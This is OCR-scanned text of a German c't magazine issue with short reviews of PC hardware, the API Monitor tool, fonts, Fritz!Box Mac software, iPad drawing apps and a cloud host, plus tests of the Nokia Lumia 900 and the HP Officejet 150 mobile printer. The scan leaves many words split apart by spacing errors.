tet sowohl  Tastendrücke als auch Maus­
kl icks. Zusätz l ich stehen Sonderfunktionen 
wie d i rekte Profi lwechsel sowie das Abschal­
ten der Windows-Taste zur Auswah l .  

Der  Makro-Recorder zeichnet auch dann 
weiter auf, wenn  man e in anderes Fenster 
aktiviert. Ü berzäh l ige Tastenanschläge las­
sen s ich gezielt auswäh len und entfernen; 
darüber lassen sich Verzögerungen einfügen 
- a l lerd ings nicht weniger a ls  50 ms. 

I n sgesamt h interlässt d ie Konfigurations­
software einen u nfert igen E indruck. So las­
sen s ich weder Makros noch Profi le s ichern: 
Ein u nbedachter K l ick a uf "A l le  zurückset­
zen" reicht, um stunden lange Konfigu rati­
onsarbeit zun ichte zu machen. Auch lassen 
s ich Makros n icht nachträg l ich erweitern .  
Am unpra kt ischsten i st, dass d ie  Software 
n u r  d ie  Standa rdtasten u m konfi gu riert, 
n icht aber  d ie  zwanzig zusätz l ichen Son­
dertasten .  (gh i )  

Sharkoon Sk i l ler  

Preis 

Sharkoon, www.sharkoon.de 
21 cm x 48,5 cm x 2,3 cm, 765 g 
1 5 € 

Flotter Anschluss 

Der Einbaura h men SATA QuickPort 
I ntern M u lti von Sha rkoon rüstet 
Festplattendock und USB-3.0-
Ansch l ü sse bei ä lteren PC-Gehäusen 
nach.  

Der E i nschu b  fi ndet i n  e inem Schacht fü r 
5,25"-La ufwerke P latz. Gummipuffer zwi­
schen Rahmen und Ha lteblechen entkop­
peln i h n  vom übr igen PC-Gehäuse. Fest­
p latten und Sol id-State Disks mit SATA-An­
sch luss  n immt der Qu ickPort im 2,5"- und 
3,5"-Format i n  zwei Schächten auf, d ie s ich 
g le ichzeitig nutzen lassen. Beide tei len s ich 
a l le rd i ngs  einen gemeinsamen E in-/ Aus­
scha lter fü r d ie  Stromzufuh r. Zwei Status­
LEDs i nformieren darüber, welche Schächte 
belegt s ind .  

I ntern werden die beiden Festplattenein­
schübe jewei ls  über einen separaten SATA­
Ansch luss an das Mainboard oder eine Hast­
Adapterkarte angeschlossen. Damit das An­
und Abmelden der P latten und SSDs im lau­
fenden Betrieb funktioniert, müssen die ver­
wendeten SATA-Ports im BIOS-Setup bezie­
h u ngsweise der F i rmware des Hast-Adap­
ters a l s  Hot-Swap-taugl ich markiert sein. 

Die USB-3.0-Frontansch lüsse verwenden 
i ntern e in  Kabel fü r e inen 1 9-pol igen Pfos­
tenansch luss, der bei modernen Boards ·i n­
zwischen weit verbreitet ist. An d iesen Su­
perSpeed-Buchsen wurde e ine externe 
USB-3.0-Festplatte von Buffa lo  n icht er­
kan nt. An den F rontansch l üssen des Ge­
häuses unseres PC-Bauvorsch lags  aus c't 
1 3/1 2 funktioniert s ie am selben Mainboard 
problemlos. Mit USB-3 .0-Sticks unterschied­
l icher Herste l ler  gab es am QuickPort keine 
Auffä l l i gkeiten. 

Der E inbau rahmen von Sha rkoon kostet 
�35 Eu ro. PC-Gehäuse, d ie bereits mit e inem 
Festplatten-Dock und  USB-3.0-Frontan­
sch l ü ssen a usgestattet s ind, g i bt es ab 
60 Euro zu kaufen.  (chh) 

SATA Qu ickPort I ntern M u lti  
F!m!latteiidock mit USB-U·Anschlilssen 

He�teller 5harkoon, www.sharkoon.de 
externe Anschlüsse 1 x 3,5"-SATA, 1 x 2,5"-SATA, 2 x USB 3.0 
Zubehör 2 x SATA-Kabel, Befestigungsschrauben 
Preis 35 € 
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Windows-Spitzel 

Das kostenlose Uti l ity API  Monitor 
protokol l iert i n  bei nahe beliebiger 
Detai ltiefe, welche Systemfu n ktio­
nen ein Windows-Prog ra m m  aufruft. 

Wenn ein u n beka n ntes Prog ramm myste­
riöse Rechen last erzeugt oder e ine sel bst 
entwickelte Anwendung einfach n icht das 
tut, was sie sol l ,  kann  man i h r  zum Beispiel 
mit Mark Russi novichs Process Mon itor auf 
d ie  F inger  schauen und  beobachten, was 
s ie im  Dateisystem und i n  der  Reg i stry so 
a l les anstel lt .  Manchma l  re icht das aber  
n icht: Dann  i nteress ieren auch andere Sys­
temfu nktionen wie Netzwerkzugriffe oder 
Zeichenfunktionen. Für solche Fäl le ist der 
API  Mon itor entwickelt worden.  

Er kann  s ich wah lweise i n  laufende Pro­
zesse e ink l inken oder a l l e  neu gesta rteten 
Programme u nter Beobachtu ng nehmen.  
Damit der  Anwender  n icht i n  I nformatio­
nen ertrin kt, sol lte er zuvor e inen F i lter de­
fi n ieren, der n u r  die Funkt ionsaufrufe 
d u rch lässt, d ie  i h n  i nteress ieren. Der AP I  
Mon itor ordnet dazu sämt l iche Windews­
Funktionen nach Aufgaben bereichen sor­
tiert an oder bietet e ine Auswah l  nach Mo­
du len wie User32, Kernel32, sh lwapi und so 
weiter. 

Zu jeder Funkt ion lässt s ich a u ßerdem 
e in  Ha ltepunkt defi n ieren, der  das  beob­
achtete Prog ra m m  wah lweise vor oder 
nach dem Aufruf u nterbricht, je nach Auf­
gabenste l l ung jedes Mal  oder nu r  bei Feh­
lern. Wä hrend eines solchen Ha lts ka nn  
man sogar  d ie  ans  System ü bergebenen 
Parameter beziehungsweise den Rück­
gabewert man ipu l ieren - das Too l  ken nt 
d ie  Datentypen von Arg u menten und  
Rückgabewerten zu ü ber 13  000  AP I-Auf­
rufen. 

Die derzeitige Vers ion des AP I  Mon itor 
la utet 2 .0, trotzdem i st das Tool  noch a l s  
A lpha-Vers ion gekennzeichnet. Es l äuft 
aber beacht l ich stab i l  und zuverläss ig. (hos) 

API Monitor 

Hersteller Rohitab Batra, www.rohitab.com/apimonitor 
Systemanf. Windows 2000, XP, Vista, 7, 8 (x86/x64) 
Preis kostenlos 

c't 201 2, Heft 1 5 

kurz vorgestel lt I Software-Diagnose, Mittela lter-Fonts; fritz.mac 

Altertümlich 

Das Pa ket "Elegante Mittelalter­
sch riften" von Softmaker enthält 
32 Fonts, d ie  jahrh u ndertealten 
Vorbildern folgen.  

Sie sehen ungewohnt aus, eigenwi l l ig, erin­
nern an  den Sch riftzug auf dem einen Ring 
aus "Herr der Ringe". Auch wenn die "Teng­
war" nicht dabei i st: Ob handgeschriebene 
Bücher aus Deutsch land oder ü ber l ieferte 
Dokumente aus dem I rischen - die Orig ina le 
hat man sorgfä ltig ausgewäh lt, d ie Zeichen 
wurden mit viel Aufwand dig ita l isiert und für 
ein fl üssiges Erscheinungsbi ld bearbeitet. 

Der Schriftenvorrat umfasst so u nter­
schied l iche wie typische Fonts: geheimn is­
vol l  wie die lnsu la Minuseule oder schnörkel­
reich wie d ie Dark Gothic, romantisch wie 
die Bastarda oder küh l  wie die Stebark. Die 
Lesbarkeit der Schriften vari iert zwischen der 
gut erkennbaren Patron und der Th ingvel l i r, 
die sich deutl ich vom heute übl ichen Erschei­
nungsbi ld absetzt. U ra lte Symbole (Runen) 
ste l lt der Font "Rune Symbols" bereit. 

Anders als viele Share- oder F reeware-Pa­
kete bringen die Softmaker-Fonts einen er­
freu l ich vol l ständigen Zeichensatz mit, ein­
schl ießl ich Umlauten und Satzzeichen. Jede 
Schrift ist im  TrueType- oder OpenType­
Format verfügba r. Buchstaben und Ziffern 
zeigen e in  aufeinander abgestimmtes 
Design, auch wenn hier und da - etwa bei 
der Dub l in  900 - die Zah len n icht so ganz 
zum Charakter des Alphabets passen wollen. 

Dan k  i h rer  Anmutung,  aus l ängst ver­
gangenen Zeiten zu stammen, er lauben die 
32 Fonts eine a bwechselungsvol l e  N ut­
zung.  A l lerd ings  e ignen sie s ich kau m  da­
fü r, längere Textpassagen damit zu setzen .  
Doch a l s  Zwischentitel ,  zu r  Auflockerung 
dokumentarischer Texte oder fü r i l l u strati­
ve Zwecke empfeh len sich die Softmaker­
Fonts a l lemal :  I n sgesamt bekommt man fü r 
n icht ma l  zwanzig Euro e ine d ifferenzierte, 
variationsreiche Sammlung.  (uh)  

' 
E legante Mitte la ltersch riften 
Püet mit 32  hlstiiisChin Fonts 

Anbieter 
Formate 
Preis 

Softmaker, www.softmaker.de 
Open Type, T rue Type 
1 9,99 € (online oder CD-ROM) 

�""""'1"*1-m. S IU<�tUII•d•• •-" 
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Fritz!Box-Fiüsterer 

AVM l iefert kosten lose Windows­
Softwa re fü r seine Boxen, zum Bei­
spiel zum Faxen. Mac-Ben utzer müs­
sen sich von Dritten helfen lassen. 

Die fritz.mac Su ite 2 spricht mit a l len 
Fr itz! Box-Mode l len,  die Telefon iefu nktio­
nen enthalten: Sie zeigt Anrufl i sten, pflegt 
das Telefonbuch der Box und i n it i iert Anru­
fe vom Mac mit dort gespeicherten Adress­
daten. Wenn  d ie  Box Fax-Funktionen auf­
weist, zeigt das Prog ramm die ei ngegange­
nen Faxe und h i lft beim Versand über einen 
spezie l len Drucker. 

Die Softwa re hat e ine bewegte Ge­
schichte h i nter s ich. U rsprüngl ich wurde sie 
von der Mei lenstein Software erstel lt, dann 
a n  d ie  F i rma Dan holt verkauft und wird 
seitdem dort weiter entwickelt. Der Über­
gang verl ief n icht ganz ohne Frust fü r die 
Nutzer. Die ersten An laufprobleme schei­
nen aber überwunden. 

Pr inz ipbed ingt ist solche Softwa re eng 
mit der F i rmware verzahnt, wei l  s ie mitun­
ter fü r einze lne Funktionen die Ausgaben 
der Weboberfläche vera rbeitet (für andere 
nutzt s ie das auf UPnP  aufbauende TR-064-
Protoko l l ) .  Bei e iner  neuen F i rmware-Ver­
s ion besteht immer d ie Gefahr  von Ausset­
zern. Neben d i rektem Su pport per E-Ma i l  
nutzt das  Unternehmen a l s  öffentl ichen 
Support-Kana l  übrigens Facebook. 

Wer s ich fü r d ie  Software i nteress iert, 
sol lte d ie  30 Tage lauffäh ige  Demoversion 
zunächst auf die Probe ste l l en .  Mit der 
F r itz!Box 7390 und a ktue l l e r  F i rmwa re 
ü berzeugt d ie  fritz.mac Su ite 2 n icht rund­
um: Der Fax-Versa nd per ISDN stockte 
oder miss lang mit Mac OS X 1 0.6.8. Der Im­
port von Kontakten aus dem Mac-Ad ress­
buch ge lang n u r  fü r loka le  Daten, n icht je­
doch fü r Daten von einem Ca rdDAV-Server 
(Kontakte). Wer auf Faxe verzichten kann, 
kön nte mit  dem spendenfinanzierten Friz­
zix ebenso g l ück l ich werden .  (ps) 

fritz.mac S u ite 2 

Hersteller 
Systemanf. 
Preis 

danholt4mac 
Fritz!Box Fon, Mac OS X 10.5 
29,90 € (Download, CD für 35,90 €) " 
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kurz vorgestel lt I Zeichen-Apps 

Einfach zeichnen 

Paper s i m u l iert Skizzenbücher auf 
dem i Pad u n d  lässt dabei  fast a l le  
Vortei le d ig ita ler Grafi k l i n ks l iegen.  
Das Konzept geht a uf. 

Eigentl ich feh lt  Paper a l les, was e ine zeitge­
mäße Zeichen-App braucht: Zoom, Trans­
parenzen, Ebenen und hochauflösender Ex­
port. Der Anwender muss m it neun vorge­
gebenen Farben auskommen; n icht mal d ie 
Strichstärke lässt s ich ändern .  

Dennoch ist Paper e in Juwel .  Der Grund:  
Die meisten Besch rä n ku ngen ken nt man 
von echten Stiften und echtem Papier. Nach 
wen igen M inuten i st vergessen, dass man 
mit e iner App zeichnet. Die Werkzeuge sind 
l iebevo l l  gesta ltet: Der Finel iner schreibt bei 
schnel len Str ichen etwas d ü nner; F i lzstifte 
decken nicht komplett, sondern ü berlagern 
i h re Farben. Reibt man m it dem Aquare l l ­
p inse l  wiederholt über eine Stel le, wird d ie 
Fa rbe erst d u n kler, dann  wäscht s ie s ich 
wieder aus .  Die kosten lose Basis-App bringt 
nur Radiergummi  und Feder mit, Letztere ist 
ausgerechnet das langwei l igste Werkzeug.  
Die ü brigen vier Stifte kann  man Probe fah­
ren und für je 1 ,59 Euro oder gebündelt mit 
etwas Rabatt nach kaufen.  

Paper fasst Zeichn ungen zu Skizzenbü­
chern zusammen, deren Cover und Titel der 
Anwender selbst wäh lt. Bücher lassen s ich 
bel iebig u m  Doppelseiten ver längern und 
komplett a l s  PDFs mit Pixelg rafiken expor­
tieren. E in  Buch öffnet s ich du rch das Sprei­
zen zweier F inger, zum Umblättern wischt 
man horizonta l .  D ie nächste Spreizgeste 
klappt e ine Doppelseite b i ldsch i rmfü l lend 
zum Zeichnen auf (Video s iehe c't-Li nk) .  

Andere Anbieter b ieten fü r den Preis 
e i nes ei nzigen Paper-Stifts e in  komplettes 
e lektron isches Ate l ie r  mit über h undert 
P inse ln  u n d  Menüs vol le r  Sch iebereg lern .  
Verg l ichen damit  mag Paper n icht b i l l i g  
sein, dafü r i s t  es cha rmant. (pek) 

www.d.de/1215056 

Paper 1 .0.23 

Hersteller 
Systemanf. 
Preis 
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fiftyThree, www.fiftythree.com/paper 
iPad, iOS ab 4.3 
kostenlos, Werkzeuge je 1 ,59 €, Pack 5,49 € 

Pixeltinte 

S ketch book l n k  beschränkt sich auf 
sieben ti ntengeträ n kte Pinsel, deren 
Striche auch bei vergrößerter Ansicht 
knackscharf bleiben. 

Mitt lerwe i le  q u i l lt Autodesks Skizzen-App 
Sketch bock Pro vor Optionen fast über. 
Sketch bock lnk g ibt s ich h ingegen beschei­
den:  Der Funkt ionsumfang beschränkt sich 
a uf sieben P inse l  und zwei Radierstifte, 
e inen Fa rbstreifen, e inen schwebenden 
Fa rbwäh le r  und  e inen Reg ler  zur  Anpas­
sung der  Strichstä rke. D ie P inse l  zeichnen 
deckend, Farbmisch ungen per Ü ber lage­
rung s ind n icht mög l ich .  I m  U nterschied zu 
Sketchbock Pro a rbeitet d ie l nk-Variante in­
tern mit Vektoren :  Man kann ins  B i ld h inein­
zoomen, ohne dass das Motiv zu Pixe lbrei 
wird .  Das macht erst e inma l  einen g uten 
E ind ruck, doch der wird schne l l  getrübt. 

Bei zwei Werkzeugen beg i n nen und 
enden d ie Striche spitz, e in  anderes dünnt 
den Strich aus, a l s  kleckste d ie Ti nte nu r  aus  
dem P inse l .  Man muss z ieml ich genau h in­
g ucken, u m  das r ichtige Werkzeug zu tref­
fen - d ie lcons sehen s ich zu ähn l ich .  Jedes 
Dokument beg innt als kah le  weiße F läche 
oder mit e inem Bitmap-H interg rund - eine 
Ebenenverwa ltung feh lt, ebenso e in  Fü l l ­
werkzeug:  So muss man F lächen mühevol l  
m it sch malem P inse l  anstre ichen.  Nach 
Zoom-Vorgängen und  Rückgäng ig-Sch rit­
ten legt die App ku rze Denkpausen e in .  Am 
fl üss igsten läuft s ie auf einem i Pad 2 .  

Sketchbock lnk wi rkt unausgegoren. Au­
todesks Videovorste l l ung  der  App (s iehe 
c't-Li n k) legt a l s  Verwendungszweck nahe, 
B itmaps aus  Sketch bock Pro mit  präzisen 
Konturen zu verede ln .  Das i st a ber kein  trif­
t iger Grund,  wa rum sich d ie Motive in der 
i ntern verwendeten Vektorform n icht ex­
portieren lassen, sondern n u r  a l s  Bitmaps 
m it einer maximalen Auflösung von 
5 1 5 1  x 3863 Pixe ln .  (gh i/pek) 

www.d.de/12 15056 

Sketchbook l n k  1 .0 . 1  

Hersteller 
Systemanf. 
Preis 

Autodesk, www.autodesk.de 
iPad, iOS ab 5.0 
1 ,59 € 
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... Infrastruktur 

Internetzugang 

• lmld Satancer 

Mal dein Rechenzentrum 

Der Cloud-Hoster ProfitBricks wi l l  mit 
einem besonders transparenten und 
günstigen Preismodel l p u n kten, mit 
leistungsfähiger u n d  ausfa l ls icherer 
Ha rdwa re - vor a l lem .a ber mit einer 
einfachen Bedienoberfläche. 

Profitßricks betre ibt e inen Dienst, der  im 
Kern den Amazon Web Services oder 
Goog les App Engine ä hnelt: Kunden kön nen 
s ich Server mieten, zum Beispie l ,  u m  eine 
Website zu betreiben. E ine Besonderheit von 
Profitßricks ist se ine Bedienoberfläche:  F ü r  
d ie  Ad min i stration der  gemieteten I nfra­
struktur  ste l l t  das U nternehmen einen soge­
nannten Data Center Designer  (DCD) bereit. 
Damit gesta ltet der Kunde im Browser g ra­
fisch wie mit  e inem F low-Chart-Editor se in 
Rechenzentrum, aktiviert es oder passt es an 
s ich ändernde Gegebenheiten an .  Aus e iner 
Palette z ieht er Server, Festplatten und Load 
Balancer auf ein Reißbrett und verbindet sie 
mit Daten leitu ngen.  Ein .. I nspektor" zeigt 
dabei  d ie  wicht igsten I nformationen e iner  
gewäh lten Komponente an .  

A ls  Betriebssystem fü r d ie  Server stehen 
vorkonfigu r ierte Debia n-, Windows-2008-
R2- sowie Windows-20 1 2-Preview- ln sta l la -

Status 

• Remote Console ...... Reset 

.... Einstellungen 

Nlllme Server 1 
Cores 

RAM in  GB 

, , :Qc -
4 
• 9 

Zone Zone 1 .., 

, Maschine läuft 

X Löschen 

Hl 

Betriebssystem windows (+ 0.01 C /  h I core ) :1 
Betriebssystem .., 
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kurz vorgestellt I Virtuelles Rechenzentrum 

t ionen zur Auswa h l .  Alternativ lassen s ich 
auch e igene Images hoch laden.  K l ickt man 
ansch l ießend auf  . .  Änderungen überneh­
men" und bestätigt i n  e inem Dia log den mo­
nat l ichen Pre is ,  geht das v i rtue l le  Datenzen­
trum i n nerha l b  von wen igen M i n uten ans  
Netz. Ü ber  e ine Rem�te Console g reift; de r  
Admin istrator a uf da s  GU I  se iner Server zu, 
etwa u m  d ie Software zu konfigurieren. 

Die Kom ponenten der v i rtuel len Rechen­
zentren s ind hochska l ierbar: Die Server kön­
nen mit einem bis zu 48 Cores und mit bis zu 
1 96 GByte RAM ausgestattet werden - im lau­
fenden Betrieb; der Benutzer muss dafü r  die 
betreffenden Schiebereg ler im  DCD- Inspek­
tor verschieben. Profitßricks stel lt  aber auch 
e in  auf SOAP aufsetzendes AP I  bereit, m it 
dem Entwickler Verwa ltungsaufgaben auto­
matisieren können. Bei Fragen steht rund um 
die Uh r  Support per E-Mai l  und Telefon bereit. 

Das Pre ismodel l  i st sehr t ranspa rent: 
1 GByte Festplatten platz schlägt mit 4 Cent 
pro 30 Tagen, Traffic m it 6 Cent pro Gigabyte 
zu Buche. 1 G igabyte RAM kostet 0,5 Eu ro­
Cent, 1 P rozessor-Core 4 Cent pro Stunde Be­
reitste l l ung (Server mit Windows: 5 Cent/ 
Stunde) .  Dabei hat e in  Core nach Angaben 
des Setreibers d ie Lei stung von einem AMD 
Opteron mit 2,6 GHz oder u ngefäh r  vier mit 
1 b is 1 ,2 GHz getakteten Opteron- oder 
Xeon-Prozessoren von 2007. 

Sämtl iche Ha rdware ist redundant ausge­
legt, e insch l ieß l ich der Datenverbindungen, 
die i m  gesamten · P rofitßr icks-Rechenzen­
trum m it lnfi n i band rea l i s iert s ind. Dabei l ie­
gen je zwei gespiegelte Vers ionen e ines v i r­
tue l len Rechenzentru ms i n  u ntersch ied­
l ichen Brandabschn itten des Rechenzen­
trums. Das steht i n  Ka r l s ruhe, es g i lt 
deutsches Datenschutzrecht. Go) 

www.ct.de/12 150S6 

ProfitBricks 
Virtuelle Rediiiüintren 
Setreiber Profitßricks, www.profitbricks.com 
Kosten 1 GByte Festplatten platz: 4 CenV30 Tage, 1 GByte 

RAM: 0,5 CenVStunde, 1 Core: 4-5 CenVStunde, 
Traffic 6 CenVGByte 4' 
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Prüfstand I Windows-Smartphone 

Ach im Barczok 

Protzklotz 
Windows-Smartphone 
Nokia Lumia 900 mit OLED-Display 

Nokias Lumia hat ein farbkräftiges 4,3-Zoii­
Display, schnel les Internet und eine Offl ine­
Navigation. Für Windows Phone reicht d iese 
Ausstattung zum neuen Spitzenmodelt 

M an nehme sein bestes 
Smartphone, mache d ie 

Disp laydiagonale e inen F inger­
breit g rößer und voi la :  Man hat 
e in  neues SpitzenmodelL Nach 
d iesem einfachen Rezept hat 
Nokia das Lumia 900 gebacken: 
Das futu ristische Design mit schi­
ckem Polycarbornat-Gehäuse und 
abgerundeten Seiten g leicht 
dem des Vorgängers Lumia 800 
in  bis auf wenige Detai ls .  Das Ge­
häuseplastik ist wahlweise matt­
schwarz, mattblau oder mit wei­
ßem Klavierlack beschichtet. Nu r  
d ie Micro-USB-Schn ittste l le  i st 
jetzt frei statt über e ine nervige 
Klappe zugäng l ich .  Das Konzept 
derselben Designsprache ist aber 
nicht ganz aufgegangen: Lag der 
Vorgänger gerade noch g ut in 
der Hand, füh lt s ich das schwere 
Lumia 900 ( 1 63 Gramm!) zu breit 
und zu dick an .  

Schu ld am Wachstu msschu b  
trägt unter anderem d a s  4,3 Zol l  
Diagonale messende. OLED-Dis­
p lay: Es zeigt to l l e  kräft ige Far­
ben, e in  tiefes Schwarz und ist 
selbst bei Sonnen l icht noch eini­
germaßen einsehbar - das beste 
Disp lay in e inem Windows 
Phone. Mehr Inha lte passen aber 
n icht darauf, denn es zeigt mit  
800 x 480 (2 1 9  dp i )  genauso 
viele Pixel wie jedes andere 
Windows-Smartphone. Zum Vor­
gänger Lumia 800 wi rken Texte 
schärfer, wei l das Lumia 900 e ine 
RGB-Subpixe l struktur  statt der  
fransig wi rkenden PenTi le-Matrix 
der meisten OLED-Handys hat. 

Die Ha rdware - ein auf 1 ,4 Gi­
gahertz getakteter S ing le-Core­
Prozessor, 5 1 2  MByte RAM und 
n icht erweiterba re 1 3,6 GByte 
Speicher - ist fü r e in  Windews­
Telefon okay, aber in der Sp it­
zenklasse nicht mehr zeitgemäß. 
Die Su rfgeschwind igkeit hat 
Nokia verbessert: Zwar u nter­
stützt das deutsche Lumia n icht 
wie das US-Model l  die neue 
Mobi lfu n kgeneration L TE,  doch 
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m it DC-HSDPA so l len  theore­
tisch Down load-Geschwind ig­
keiten von 42 MBit/s mög l i ch  
sei n .  i n  der  Praxis merkt man 
davon jedoch nu r  wen ig :  B isher 
haben nur Vodafone und Tele­
kom an vere i nzelten Orten wie 
Messege länden und Bahnhöfen 
i h re Netze fü r d iese Geschwin­
d igkeit fre igescha ltet, und  d ie  
meisten Mobi lfunkverträge d ros­
seln sowieso auf 7,2 MBit/s. Der 
Akku l iefert bessere Laufzeiten 
als der vom Vorgänger: Beim Vi­
deoschauen auf m ittlerer He l l ig­
keit (ca . 1 83 cd/m2) war erst nach 
ü ber acht Stu nden, beim Spielen 
eines 3 D-Spie ls  wa r nach 3,7 
Stunden Sch luss. 

Die Rückseitenkamera gehört 
zu den besseren Smartphone­
Kameras: Fotos und i n  720p auf­
genommene Videos zeigen viele 
Deta i l s  und kräft ige Farben. in 
der  B i l dm itte der Fotos fä l l t  je­
doch eine röt l i che Verfärbung 
auf, he l le  F lächen überstrah len 
le icht  und  selbst be i  optima len 
Lichtverhä ltn issen zeigen B i lder  
Farbrauschen.  D ie  Frontkamera 
ermög l icht Videotelefon ie, zum 
Beispiel über  Skype oder  d ie  mit­
ge l ieferte App Tango. 

Selbst i n  der Android-Mitte l­
k lasse findet man i nzwischen 
schnel lere Prozessoren, doch für 
Microsofts Betriebssystem Win­
dows Phone 7.5 reicht d ie  Leis­
tung.  Der Touchscreen reag iert 
zwar biswei len einen Hauch ver­
zögert, die Oberfläche läuft auf 
dem Smartphone aber  ebenso 
flüssig wie 720p-Videos und a l l e  
für Windows Phone verfügbaren 
Spiele.  Langsam gegenüber  an­
deren H igh-End-Geräten füh lt  
s ich dagegen vor a l lem der 
Browser an :  Webseiten laden 
langsamer, beim Sero l ien und 
Zoomen ruckelt es mehr .  Das 
zeigen auch d iverse Browser­
Benchmarks. Im HTMLS-Iastigen 
BrowserMark beisp ie lsweise 
kommt das Lumia 900 auf 32 235 

Punkte, das Android-Smartphone 
Galaxy 53 von Samsung auf 
1 54 447. Den JavaScript-Bench­
mark Sunspider du rchläuft das 53 
in 1 ,4 Sekunden,  das Lumia  
braucht dafü r 6,9. Ohne den d i ­
rekten Vergleich füh lt es  sich aber 
immer noch schnel l  genug an. 

Das a ktue l le  Windows Phone 
7.5 Mango hat e ine sch icke, re­
d uzierte Oberfläche in Kache l ­
opti k, e ine m it g rößerer App-An­
zah l  schne l l  u n ü bers icht l i che 
App-Liste und  e in  fri sches Be­
d ienkonzept. Zu den Vorte i l en  
gehören d ie  g ute Socia i-Media­
l nteg rat ion und e ine mächt ige 
Office-Su ite. Doch g ibt es gegen­
über iOS und Android auch viele 
Nachtei le:  M u lt itask ing i st sta rk 
e i ngesch rä n kt, d ie  loka le  Syn­
chronisat ion mit  der Zune-Soft­
ware ist m ü hsam und  a l lem 

Lumia 900 

Hersteller 
techniS<he Daten 
Abmessungen (H x 8 x T) 
Gewicht 
ßetrie!Bsystem 
Prozessor I Kerne I Taki 
Grafik 
Speicher RAM I Flash (davon nutzbar) 
Display-Technik I -Größe 
Display-Auflösung I Farbtiefe 
WLAN I Dual-Band 
ßluetooth I NFC I A-GPS 

Kamera-Auflösung Fotos I Video 
Autofokus I Fotoleuchte I LEOs I Selbstauslöser 
Touchfokus I mechanische Fototaste 
Frontkamera-Auflösung Fotos I Video 
Audioformate 
Videoformate 

Helligkeit2 I Ausleuchtung I Kontrast 
Laufz�it3 Video I 3D-Spiele 
Preis Straße I Liste 

voran ist d ie  App-Auswah l  im  
Marketplace im mer noch  er­
sch reckend k le in sowie die Lü­
cken im Angebot deut l ich spür­
bar.  Am schwersten wiegt aber 
d ie  derzeit ige Update-Strategie 
von Microsoft: Die im  Herbst er­
sche inende Windows-Phone­
Vers ion 8 bekommt das  Lumia 
900 n icht, i m merh in  so l l  es e in  
paar der  neuen Funkt ionen a l s  
Featu re-U pdate erha lten. 

Immerh in  bekommt man bei 
Nokia noch e in ganzes Stück an 
Apps obendrauf: eine kosten lose 
Offl i ne-Navigation mit Karten fü r 
H underte Länder sowie e ine -
derzeit noch zieml ich unvol l stän­
dige - Fahrp lan-App fü r öffent­
l iche Verkehrsmitte l .  in Nokia 
Mus ik  kauft man Mus ik oder hört 
kosten los Webradio. Der E-Book­
Reader von Nokia kann nur  über 
den Nokia-Store mit kosten loser 
oder kosten pfl icht iger Lektü re 
befü l lt werden, das Angebot ist 
sehr mager. Besser fäh rt man mit 
der K indle-App. 

A l les in a l lem schafft es das 
Lumia 900 bei Ausstattung und 
Leistung  knapp a n  d ie  Spitze 
der a ktue l len  Windows-Phone­
Model le ,  der  Top-Konku rrenz 
mit Android oder iOS h i n kt es 
aber  weit h i nterher. Das futu ris­
t ische, aber klotzige Desig n  ge­
fä l l t  n icht jedem: Nokia hat das 
g roße D isp lay ü ber die Hand­
l i chkeit erkauft. (acb) 

Nokia, nokia.de 
handy-db.del1937 
1 2,8 cm x 6,9 cm x 1 ,2 cm 
163 g 
Windows Phone 7.5 
Quakomm Snapdragon S2 I 1 I 1 ,4 
Adreno 205 
5 12 MByte I 1 6 GByte ( 1 3,6 GByte) 
AMOLED 1 9,3 cm x 5,6 cm (4,3 Zoll) 
800 X 480 (219 dpi) I 24 Bit 
IEEE 802.1 1  blgln l -
2.1 + EDR I - lv 
42 MBit/s I 5,7 MBit/s 
- lv 

3264 X 2448 I 1 280 X 720 
v' lv 1 2 1v 
- lv 
1 280 X 960 I 640 X 480 
M4A, MP3, WMA 
DivX, XviD, H.264, MP4, WMV 

71 . . .  306 cdlm2 1 91 % 1 >1 : 1 0.000 
8,4 h l 3,7 h 
500 € 1 580 € 

1 Hemellerangabeii 
2 ernessen in den Weißflächen eines Schachbrenmuste 
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Rudolf Opitz 

Abgenabelt 
HPs Officejet 1 50 Mobile mit Akkubetrieb 

Der Officejet 1 50 Mobile Al l-in-One wird als erster mobiler· 
Multifunktionsdrucker beworben. Im Test muss er zeigen, 
wie viel Bürokomfort er ohne Steckdose und Kabelage bietet. 

Z usammengeklappt klemmt 
man den kompakten Officejet 

1 SO Mobile ohne Weiteres u nter 
den Arm, doch lange möchte 
man das ü ber d re i  Kilo schwere 
Mu ltifunktionsgerät n icht tragen. 
HP hat bei ihm das Druckwerk 
des Mobi ld ruckers Officejet 1 00 
mit e inem Einzugscanner kom­
bin iert. Die obere Klappe d ient 
geöffnet als Papierzufuh r  und 
gleichzeitig a ls  Ablage fü r d ie ge­
scannten Vorlagen, die man beim 
Officejet 1 SO von vorne einführt. 
Gedruckte Seiten wirft das Gerät 
nach vorne aus .  Da ein Auffang­
fach feh lt, landen die Drucke auf 
dem Tisch oder dem Boden. 

Die Bedienung ü ber das kleine 
2,3-Zoi i -Touchdisplay ist fumme­
l ig .  Das l iegt jedoch n icht an den 
Menüs - d ie  s ind g roß genug 
und übersicht l ich .  Der unemp­
fi nd l iche res i stive Touchscreen 
benötigt für E ingaben beherztes 
und nachha lt iges Zudrücken, 
Streichel n wie bei den kapaziti­
ven Displays aktuel ler  Smartpho­
nes reicht n icht. 

Der h inten am Gerät e inge­
kl i nkte Lith i um- Ionen-Akku ver­
sorgt den Officejet 1 SO im mobi­
len E insatz mit Energie. E inen Ar­
beitstag lang druckten und ko­
pierten wir  ohne Neuladen nu r  
m i t  Akkustrom - insgesamt über 
1 00 Seiten.  E inen Vertreter-Ar­
beitstag mit Kopieren von Verträ­
gen und Drucken von Angeboten 
sol lte er problemlos du rchha lten. 
Der Officejet 1 50 wird per USB-
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Kabel oder d ra htlos per B lue­
tooth angesteuert. Die B luetooth­
Vers ion 2.0 ist jedoch vera ltet, 
auch kennt das Gerät keine Mu l­
t ipoint-Verbindungen: Mit dem 
Notebook gekoppelt, n immt es 
keine Fotos vom Smartphone an. 
WLAN - bei stat ionären Mu lti­
funktionsdruckern übl ich - feh lt. 

Zum d i rekten Drucken g ibt es 
e inen S lot fü r SD-Speicherkarten 
und e inen PictBr idge-fä h igen 
USB-Port, d ie  be ide n icht gut zu­
gäng l i ch  an der Rückseite des 
Mu ltifu n ktionsgeräts l iegen. 

Mit 1 4,2 Cent pro Normseite 
druckt der Officejet 1 50 n icht 
gerade b i l l ig, besonders der 
Schwarzante i l  von 6 Cent i st fü r 
ein Bürogerät eigentl ich nicht ak­
zeptabel. Mit den XL-Patronen HP  
338/344 s inkt de r  Preis nu r  wenig 
auf 1 2, 1  Cent bei einem Schwarz­
antei l  von 5,3 Cent immerhin bie­
ten die Patronen mit 450 Seiten 
